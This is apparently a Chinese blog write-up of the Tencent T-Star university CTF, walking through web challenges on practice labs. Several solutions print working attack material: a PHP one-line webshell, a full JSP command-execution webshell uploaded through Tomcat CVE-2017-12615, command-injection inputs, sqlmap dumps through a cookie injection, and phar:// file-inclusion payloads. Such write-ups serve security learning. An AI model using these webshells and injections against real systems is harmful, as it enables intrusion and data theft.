腾讯T-Star高校挑战赛
0X00前言
以组队形式参加的赛事,一个月前找到了三位好友组团参赛(都是小白啦,包括我)
记录一下赛题~
0X01赛题
一、签到 —— 文件上传js绕过
Upload-labs上的第一题
首先,先上传一个正常.txt或.jpg文件测试是否能够正常上传,结果是可以正常上传。然后,再上传一个已经写好一句话木马的php文件,上传的php文件内容为:<?php eval($_POST['cmd']);?>
此时,有弹窗提示文件类型限制,上传失败。
根据经验,我们开始排查漏洞,先查看网页源代码,在代码尾发现上传文件的类型限制是由前端JavaScript完成。那么只需要在浏览器上禁用前端JavaScript即可。
网页源代码:
禁用之后我们再次上传,此时脚本上传成功。上传成功之后会返回路径,我们可以用菜刀连接shell。在菜刀中添加,输入脚本文件的路径,输入密码cmd,连接成功。
查看网站目录,在www目录下发现key文件,打开即是flag。
二、命令执行基础
DVWA命令执行原题
页面是一个输入IP地址返回ping结果的界面。首先,我们先输入一个IP地址查看返回结果。
如上,发现返回结果是命令行里的直接输出!此时,根据命令执行的基础知识,使用&连接我们执行的命令,例如,输入192.168.44.132&ls -l,尝试命令执行漏洞,结果如下,查询目录成功,接下来遍历目录:
使用命令1&ls …访问上一层目录,此处发现key.php文件:
读取此文件,命令:1 & cat …/key.php,得到flag
三、你能爆破吗——cookie注入
根据题意,使用burp suite爆破。(事先可以使用弱口令登录)
我们先抓包到burp suite,将一下部分发送到intruder进行爆破。
添加爆破的payload admin和pass两个,爆破方式选择Cluster bomb。使用我们自己有的常用用户名和密码字典,分别对用户名和密码爆破。
完整过程比较漫长,但是好在用户名密码比较常见,通过length判断,都是admin,admin 。
我们回到原来页面输出用户密码,返回如下:
刷新界面抓包,抓到的POST包里存在cookie参数,并且发现cookie是经过base64加密的,结合题目提示,尝试对其进行爆破。
将抓到的包保存为txt文件,使用sqlmap工具对cookie参数进行爆破,-p指定参数,–tamper指定脚本,–level指定等级,-dbs爆数据库,代码如下:
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 –dbs
发现确实存在注入点,拿到数据库:
排除其他数据库,我们要的应该是security,爆表:
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security --tables
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security -T flag --columns
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security -T flag -C flag --dump
读取出来的flag
四、成绩单
听说又是以前一个赛事的原题
按照界面预输出,我们输入1,2,3,输出回显三个数和一个名字。非常熟悉的sql注入界面了,我们开始在burp suite抓包。
POST包传递id参数:
遇上题类似,我们保存抓包数据到txt文件,使用sqlmap爆破。使用命令爆数据库:
python sqlmap.py -r 2.txt -p id --level 2 --dbs
python sqlmap.py -r 2.txt -p id --level 2 -D web1 --tables
python sqlmap.py -r 2.txt -p id --level 2 -D web1 -T fl4g --columns
python sqlmap.py -r 2.txt -p id --level 2 -D web1 -T fl4g -C flag --dump
成功拿到flag
五、小猫咪踩灯泡
Tomcat(CVE-2017-12615)
payload:测试任意文件上传
利用burpsuite 进行抓包。发送到repeater,修改GET请求为PUT,修改名字shell.jsp,下面添加jsp的shell
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}returnline.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
访问文件,发现上传成功:
执行远程命令,?&pwd=023&cmd=ls
最后执行获取flag命令:?&pwd=023&cmd=cat flag.txt 拿到flag
六、文件上传
经过不断fuzz得出以下过滤
黑名单后缀 + content-type检测 + 内容头部检测 + 内容大小检测
内容敏感字符过滤(可双写绕过)
七、文件包含getshell —— phar://
upload页面只可以上传txt后缀文件
查看lfi.txt,发现可以文件包含
准备一个zip文件,里面是1.php,具体如下,并且重命名为1.txt,然后上传
通过phar://伪协议执行命令
lif.php?file=phar://files/s2afSfGk37Bder1.txt/1&1=phpinfo();
(一般情况下) lif.php?file=phar://files/s2afSfGk37Bder1.txt/1.php&1=phpinfo();
通过zip://伪协议执行命令
lif.php?file=zip://files/s2afSfGk37Bder1.txt#1&1=phpinfo();
拿flag
lif.php?file=phar://files/s2afSfGk37Bder1.txt/1&1=system(‘cat flag.php’);
八、分析代码
是不是联想到7字符或者5字符的文件写入(但是好像我试着不行)
有个猥琐的思路:用cat命令读上一级目录的key
先写入cat文件
.com/?1=>cat
然后看到key是在上层目录
.com/?1=ls …/
然后直接使用cat来读取 * …/*
输入通配符* ,Linux会把第一个列出的cat文件名当作命令,剩下的文件名当作参数。相当于cat …/* 后面的*相当于读取了该目录下所有文件
GOT IT!
收获还是有的。学到了奇葩姿势让自己也猥琐起来
******************************************************
腾讯T-Star高校挑战赛相关推荐
- 第十八届全国大学生智能汽车竞赛 讯飞-智慧农业挑战赛 全国选拔赛规则
第十八届全国大学生智能汽车竞赛 讯飞-智慧农业挑战赛 全国选拔赛规则 1. 赛项简介 1.1 赛事背景 伴随着人工智能技术的不断发展与进步,如何让相关技术再有新的突破,从当前的局部智能,迈向更先进 ...
- 用AI创造可持续发展社会价值,第二届腾讯Light·公益创新挑战赛正式启动
12月23日,"创变者"2021年度腾讯Light论坛在厦门正式举办.在论坛上,由全国妇联宣传部指导,腾讯公司联合中国儿童中心主办,企鹅伴成长.腾讯华东总部.腾讯SSV创新办学实验 ...
- 用AI打造科技公益新模式,腾讯发起公益创新挑战赛,聚焦三大社会问题
近日,由腾讯基金会.企鹅伴成长.腾讯优图实验室.腾讯云AI.腾讯云开发联合发起的腾讯Light·公益创新挑战赛在三亚宣布正式启动.本次比赛以"AI,让美好现在发生"为主题,与联合国 ...
- 腾讯Light·公益创新挑战赛获奖名单揭晓!看“创意+公益+科技”融合的力量
近年来,随着人工智能.云计算和大数据等数字技术的发展,人工智能与公益跨界融合,科技公益展现出越来越大的社会价值.去年12月30日,腾讯公益慈善基金会.企鹅伴成长.腾讯优图.腾讯云AI.腾讯云云开发联合 ...
- 腾讯Light·公益创新挑战赛圆满收官,郎朗担任公益传播大使
5月8日,腾讯公益慈善基金会.企鹅伴成长.腾讯优图实验室.腾讯云AI.腾讯云云开发联合发起的腾讯Light·公益创新挑战赛圆满收官.联合国儿童基金会驻华办公室儿童保护官员苏文颖,深圳市信息无障碍研究会 ...
- 【专访】首届腾讯社交广告“高校算法大赛”落幕 冠亚季军团队参赛心得精彩分享
导言: 7月6日,首届腾讯社交广告"高校算法大赛"正式落幕.在众多参赛团队中,来自南京大学的三人组合"nju_newbie"一举夺得决赛冠军,将30万元奖金收入 ...
- 【采访】腾讯社交广告高校算法大赛决赛第二周最大进步队伍——拔萝卜比赛经验及心得分享
腾讯社交广告高校算法大赛决赛第二周 进步最大的一支队伍 她的名字叫拔萝卜 这是一支单人队伍 而且还是少有的女孩子哦 可爱.乖巧.独立的小女孩 祝贺你 话不多说直接上照片 小编对咱们的周进步冠军同学进行 ...
- 【采访】腾讯社交广告高校算法大赛决赛第一周最大进步队伍——SkullGreymon比赛经验及心得分享
这是腾讯社交广告高校算法大赛进入决赛阶段 进步最大的一支队伍 他们的名字叫SkullGreymon 他们低调到照片都不放 小编也不知道怎么介绍 只知道队长同我一样喜欢哆啦A梦 那应该是个有童真爱想象的 ...
- 【采访】腾讯社交广告高校算法大赛 决赛第一周周冠军——ThreeIdiots比赛经验及心得分享 腾讯广告算法大赛
这是腾讯社交广告高校算法大赛进入决赛阶段 产生的第一个周冠军 他们的名字叫ThreeIdiots 据说ThreeIdiots是谜一般的存在 大家都在猜他们到底是何方神圣 忍不住先提前透露一下关键词 低 ...
- 【采访】腾讯社交广告高校算法大赛决赛第二周周冠军——nju_newbiew比赛经验及心得分享
腾讯社交广告高校算法大赛决赛 第二周周冠军 他们的名字叫nju_newbiew 进入决赛之后他们的成绩是火速提升 直到稳定在第一名 这又是一支谜一般的队伍 今天小编就来给大家揭开神秘大佬的面纱 三个偶 ...
最新文章
- 判断文件或文件夹(目录)是否存在 C/C++ win/linux通用
- 将一个数组划分为和差值最小的子数组
- C#调用SQL Server分页存储过程
- [译]Hour 7 Teach.Yourself.WPF.in.24.Hours
- 计算机控制与网络,网络与通信技术在计算机控制的作用
- python 列表 remove()函数使用详解
- 说说PMO 的工作思路
- android 标签分页,Android之ActivityGroup实现Tab分页标签
- 基于stm32的两轮自平衡小车2(原理篇)
- python识别图片、PDF识别成文字、表格(包含去除水印) 代码不是最新,可在最下面Gitee地址查看最新代码
- 电脑本地进行演讲者模式预览快捷键
- 网络安全课第九节 网络安全攻防实战
- Caffe中求解器(Solver)介绍
- 前端页面img标签图片显示发生错误或者没有图片都显示默认的图片
- 全球及中国装配式建筑行业深度研究与发展模式咨询报告2022版
- 微信小程序文本输入<textarea/> 详解
- 驱动人生给出关于代码19导致驱动安装失败的解决方案
- 【毕业课程设计】基于PLC的立体仓库控制系统设计
- 水墨简静态PPT模板
- 静态初始化器java